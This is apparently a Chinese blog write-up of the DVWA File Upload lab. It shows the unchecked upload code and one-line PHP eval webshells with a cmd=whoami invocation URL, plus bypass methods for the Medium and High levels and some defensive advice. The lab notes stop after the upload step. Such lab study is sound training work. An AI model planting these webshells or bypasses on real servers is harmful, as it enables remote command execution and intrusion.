Dvwa练习05 File Upload 文件上传

目的IP:192.168.142.133

本地IP:192.168.142.134

1.Security Level:Low

代码如下

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>您的图像未上传.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} 上传成功!</pre>";
	}
}

?>

服务器未对上传的文件做任何的检查和处理。我尝试在本地新建一个muma.php,写入一句话木马:<?php @eval($_POST['test']);?>

(注意标点符号用英文)

将文件上传到dvwa

返回文件上传到的路径!

                                                                                                                                                                                                                                                                          &nbs

### DVWA File Upload 漏洞利用方法及练习指南 DVWA(Damn Vulnerable Web Application)是一款用于安全测试和漏洞练习的靶场环境,其中的 **File Upload文件上传)漏洞** 模块模拟了开发人员在处理用户上传文件时可能存在的不安全行为。通过该模块,学习者可以掌握文件上传漏洞的基本原理、检测方法以及攻击利用方式。 #### 漏洞原理 文件上传漏洞通常出现在 Web 应用程序允许用户上传文件的功能中。如果服务器未对上传的文件类型、内容或解析方式进行有效控制,攻击者可以上传恶意脚本(如 PHP、ASP、JSP 等),并通过访问该文件在服务器上执行任意命令。文件上传漏洞的关键在于服务器如何解析上传的文件,若服务器将上传的文件当作可执行脚本处理,则可能造成严重后果 [^3]。 #### DVWA File Upload 模块设置 在 DVWA 中,File Upload 模块有不同等级的安全设置(Low、Medium、High、Impossible),分别代表不同强度的安全防护。在练习中建议从 **Low 级别** 开始尝试,逐步提升难度。 #### 利用方法 ##### 1. **Low 级别** 在 Low 级别中,服务器几乎不对上传文件进行任何检查,因此可以直接上传可执行脚本。 - 准备一个简单的 PHP 一句话木马文件,例如 `shell.php`: ```php <?php eval($_GET['cmd']); ?> ``` - 将该文件上传到服务器。 - 通过访问该文件并传入参数执行命令,例如: ``` http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=whoami ``` ##### 2. **Medium 级别** 服务器开始对上传文件进行一定程度的检查,例如限制文件类型为图片格式(如 `.jpg`)。 - 绕过方式:将 PHP 代码嵌入图片文件中,构造一个合法的图片文件并在末尾追加 PHP 代码。 - 使用工具如 `exiftool` 修改文件名后缀为 `.php.jpg`,欺骗服务器接受。 - 利用 Burp Suite 修改上传请求中的文件名或 MIME 类型。 ##### 3. **High 级别** 服务器对上传文件进行更严格的检查,例如白名单机制、文件重命名等。 - 绕过方式:利用服务器重命名机制的漏洞,如上传 `.php` 文件时,服务器可能仅重命名主文件名但保留后缀。 - 使用 `.htaccess` 文件上传配合解析漏洞(如 Apache 的解析特性),使 `.jpg` 文件被当作 PHP 执行。 ##### 4. **Impossible 级别** 服务器采用严格的安全措施,如使用白名单验证、文件重命名、MIME 类型检查等,几乎无法被绕过。 - 该级别主要用于学习如何正确防御文件上传漏洞。 #### 练习建议 - **使用工具辅助**:Burp Suite 可用于拦截上传请求并修改文件名、MIME 类型;使用 `nc` 或 `curl` 测试上传后的脚本执行。 - **尝试不同绕过方式**:包括大小写绕过、空格绕过、双后缀绕过、路径绕过等。 - **结合其他漏洞**:如配合文件包含漏洞(File Inclusion)实现远程文件执行。 #### 安全建议 - 严格限制上传文件类型,使用白名单机制。 - 对上传文件进行重命名,避免直接使用用户提供的文件名。 - 将上传目录设置为不可执行脚本。 - 对上传文件内容进行扫描和验证(如使用图像处理库验证图片内容)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旧时幻梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值